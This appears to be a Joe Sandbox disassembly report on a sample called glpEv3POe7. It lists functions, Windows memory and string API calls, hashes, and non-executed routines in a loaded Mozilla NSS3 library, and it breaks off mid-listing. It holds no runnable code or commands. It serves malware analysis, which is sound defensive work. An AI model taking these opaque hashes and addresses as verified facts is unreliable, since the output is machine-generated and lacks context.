API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 45ac4b3f0566ebb045ede21f0ab2e1fc26bc5761dbe4e5b231a54ea7e154afb0
Instruction ID: 4f74803f7fc0278b914009d0aca87902931083eb99ccd2f5c3dc0beb46b6f262
Opcode Fuzzy Hash: 45ac4b3f0566ebb045ede21f0ab2e1fc26bc5761dbe4e5b231a54ea7e154afb0
Instruction Fuzzy Hash: 72F0D612E2674896DA20FF748841AE6B770AF6B118B54931DF84467A61FB2071D9C3D1

Function 00588D80 Relevance: 4.5, APIs: 3, Instructions: 26COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00588C9B,00000000,?,?,00000000), ref: 00588D92
std::exception::exception.LIBCMT ref: 00588DAD
__CxxThrowException@8.LIBCMT ref: 00588DC2

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: ??2@Exception@8Throwstd::exception::exception
String ID:
API String ID: 3448701045-0
Opcode ID: 7f522e8f20aef8299f3c7cea97fdc8dae02a7fbdf12bb5b5dcdde7f9e46144a5
Instruction ID: d01be4e8f87290b47d0df793c4ec4078e72a8d004786e0b589bbddd359f197ff
Opcode Fuzzy Hash: 7f522e8f20aef8299f3c7cea97fdc8dae02a7fbdf12bb5b5dcdde7f9e46144a5
Instruction Fuzzy Hash: 36E0927440630A96DB18FBB88D1A6FF7FA8FF14315F404658ED26A22C1FB7196188692

Function 005823E0 Relevance: 4.1, APIs: 3, Instructions: 399stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

lstrcpy.KERNEL32(00000000,?), ref: 00582434
lstrcpy.KERNEL32(00000000,?), ref: 0058245A
lstrcpy.KERNEL32(00000000,?), ref: 00582483

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 469853d3df51764943bbe789f7c553104a239f46b881f1d3f74bb164cce03197
Instruction ID: 95f680cfa273318156d5862b6660e87d1610e1b683965f0caf9228fda952bee5
Opcode Fuzzy Hash: 469853d3df51764943bbe789f7c553104a239f46b881f1d3f74bb164cce03197
Instruction Fuzzy Hash: 86F1C670A012058FDB289F1AC558B25BFE5BF44728F19C1AED909EB3A2D776DC42CB44

Function 00596709 Relevance: 3.9, APIs: 3, Instructions: 115stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0059672F
lstrcpy.KERNEL32(00000000,?), ref: 005967A1
lstrcpy.KERNEL32(00000000,?), ref: 005967C9

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 1bca9d76e839daf46e9e3c439de0e8e5adb54c188d9670d21eaed93277fadbf2
Instruction ID: 02e37b604c87f9cf859f85d27a48384058205c5f483cfe57fc758d249736210c
Opcode Fuzzy Hash: 1bca9d76e839daf46e9e3c439de0e8e5adb54c188d9670d21eaed93277fadbf2
Instruction Fuzzy Hash: 5541EC71A1024A9FCF20FFA8D88DA9E7FF0BF44704F508564FD59AB261CA349D858B91

Function 0059BCC0 Relevance: 3.8, APIs: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0059BD59
lstrcpy.KERNEL32(00000000,?), ref: 0059BD89
lstrcpy.KERNEL32(00000000,?), ref: 0059BDB4

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d44f381e8d6f0b7919f901d66cd88821eb2ce133d7b1269ddcbd43470f153e21
Instruction ID: 7ea704ceeec9c17dbb9305ceaaaa006c4b010e90fe7667780564a94d3a525ec6
Opcode Fuzzy Hash: d44f381e8d6f0b7919f901d66cd88821eb2ce133d7b1269ddcbd43470f153e21
Instruction Fuzzy Hash: 5631A230A102168BDB10FFA8D94E69E7FF4BF80700F5455A4FC85BB212DA34DD818B91

Function 0059E219 Relevance: 3.1, APIs: 2, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0059E23F
GetFileAttributesA.KERNELBASE(00000000), ref: 0059E246

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AttributesFilelstrcpy
String ID:
API String ID: 2907202325-0
Opcode ID: 603b4c9110fb8497be6cd9403438bad699495a92ac3cd9f265a8c27844448fd7
Instruction ID: 9a65edd3eb4ea84172f059998b1840ea6ecdb80988acef15cfe428d9381a52c0
Opcode Fuzzy Hash: 603b4c9110fb8497be6cd9403438bad699495a92ac3cd9f265a8c27844448fd7
Instruction Fuzzy Hash: 1D215A359101099BCF50FB68C94A6DD7FF5BF88310F5045A4FD98A7251EF34AE828B80

Function 00586F10 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040), ref: 00586F61
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 00586F95

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8d3f0af8df53b41e9c4b6c2933a11eb165c41a3975f74fc87b41dcad2e166e36
Instruction ID: b7e0ce5c102fee0fad2807b2063cd7c89cad87022117afaaa7826ebd5bb4f227
Opcode Fuzzy Hash: 8d3f0af8df53b41e9c4b6c2933a11eb165c41a3975f74fc87b41dcad2e166e36
Instruction Fuzzy Hash: 0311EF72340B049BC320DFB9EC81BA6BBE9BB80714F10466DFB5ED6680E635E8808704

Function 00587390 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 412c965ee0d595faf8b67527b807ca0bb2992a0a25644cb9dce63e6eed901ff6
Instruction ID: e4d72662d4bf3f99b13de645bbe28dd23c06539cafcb8804c0bdcc34c4760dfb
Opcode Fuzzy Hash: 412c965ee0d595faf8b67527b807ca0bb2992a0a25644cb9dce63e6eed901ff6
Instruction Fuzzy Hash: 74316D70B042198BDF24EF99D8446AEFFE5BF88310F2041A9ED18A7361E771DD018B91

Function 005872D0 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 00587345

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e200508ce4547174a40c1af89f18fc7fd399d71c091d1d537ae7f9cf3fc0bd68
Instruction ID: ad82ea13b88d4d6f7784eeccba227400e04c9c203d27cde0f4a580f423b89d97
Opcode Fuzzy Hash: e200508ce4547174a40c1af89f18fc7fd399d71c091d1d537ae7f9cf3fc0bd68
Instruction Fuzzy Hash: 1811A17161C1199BD734EF9DE8807A9F7E9FB0C301F600A2AED49D7240EA35E850A796

Function 005A3FE0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0058E528), ref: 005A3FE8

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9e6f80dbb94da2fa2abae7aa79576e40f419a412e7109c4466fcf8a0570d4289
Instruction ID: 2c5451fddf9848ecf58e7bffad0f1155675f21d539fe2a0d4ec5d78182b26509
Opcode Fuzzy Hash: 9e6f80dbb94da2fa2abae7aa79576e40f419a412e7109c4466fcf8a0570d4289
Instruction Fuzzy Hash: B7E08C327001285B8B00BAECE80C9EE7F88EB85BB1F404261FE5CDB281D220EC8147D0

Function 00588FF0 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020), ref: 00588FF9

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6e76281ba2f289518c750ad604c10cd67df3559625629161897e258364de8a7a
Instruction ID: f78fe4e1d69125e08fb21d38ad229b255b6702ce5b3f6fe5ea3067846ccb616c
Opcode Fuzzy Hash: 6e76281ba2f289518c750ad604c10cd67df3559625629161897e258364de8a7a
Instruction Fuzzy Hash: 453121B1901104AFD790EF65DC49E6B7FBCFB89310B14865AB90897251EA74E900CBB6

Function 00588C30 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,00000000,?,00000000,?,?,00000000), ref: 00588CED

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 3cfa9559ea6436e8675889b2e177352e0fdbdd3098ef1ff345d33c6e06648524
Instruction ID: 78a5372c641ccb81be46a14d556e2baf213a97ca469b70b4c90b0b8eb8e0c2bc
Opcode Fuzzy Hash: 3cfa9559ea6436e8675889b2e177352e0fdbdd3098ef1ff345d33c6e06648524
Instruction Fuzzy Hash: BA318171A012149FDB18DF18C88066ABFA5FB95320F54466AEC22AF3D5DB709D00CBE1

Function 0059EF30 Relevance: 1.3, APIs: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0059EF62

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 8cbbce06eb3ae8bfeff811befc3625f5eeab5a59523d23e541b4fc131596188c
Instruction ID: 3eb9069c3dd0a6937d756db1ebcf09742ce9b95325e89b5792c49cd13849733d
Opcode Fuzzy Hash: 8cbbce06eb3ae8bfeff811befc3625f5eeab5a59523d23e541b4fc131596188c
Instruction Fuzzy Hash: 7C11E13062014A5BCB24FFA8DC4EA9E3FE4BF80700F805164FC88AB252DA34ED458791

Non-executed Functions

Function 6C518460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6C5184FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6C5188BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6C5188CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5188E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6C5188F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51895F
sqlite3_randomness.NSS3(00000008,?), ref: 6C518914

Part of subcall function 6C5031C0: sqlite3_initialize.NSS3 ref: 6C5031D6

sqlite3_randomness.NSS3(00000004,?), ref: 6C518A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C518A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C518A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C518B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C518B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6C518BAD

Strings

cannot limit WAL size: %s, xrefs: 6C519188

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: 4abbbe4ea34581774fa95d9fd9cf36d7c463379edbb43d8a5a77e6549b5b9a16
Instruction ID: 08f41dfd7971f35e3142fda313bf82f78bdb789650268a6ed2e733ffa1e93b25
Opcode Fuzzy Hash: 4abbbe4ea34581774fa95d9fd9cf36d7c463379edbb43d8a5a77e6549b5b9a16
Instruction Fuzzy Hash: 69929E75A083019FE714CF29C884A5AB7F1FF89318F198A2DE99987B51D731EC45CB82

Function 6C5DAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C5DACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C5DACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C5DACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C5DAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C5DADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5DADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5DADF0

Part of subcall function 6C61C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C61C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5DB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5DB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5DB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5DB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C5DB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5DB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5DB40C

Memory Dump Source

Source File: 00000000.00000002.1980757234.000000006C4F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.1980744513.000000006C4F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980890179.000000006C6CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980902813.000000006C6CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980915819.000000006C6D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_glpEv3POe7.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 55b674aec0795598df8cfe6ae2a0ca0a98311d92f048506141777930427c13a7
Instruction ID: fc3808c96f4dc72d3815dd7aaee21628c987fbe97b16af5ed3f42588c74798db
Opcode Fuzzy Hash: 55b674aec0795598df8cfe6ae2a0ca0a98311d92f048506141777930427c13a7
Instruction Fuzzy Hash: 7822AF71904301EFE700DF18CC45B9A77E2AF84308F15896CE8595B7A2E772F859CB9A

Function 6C564420 Relevance: 37.9, APIs: 10, Strings: 11, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C564EE3

Strings

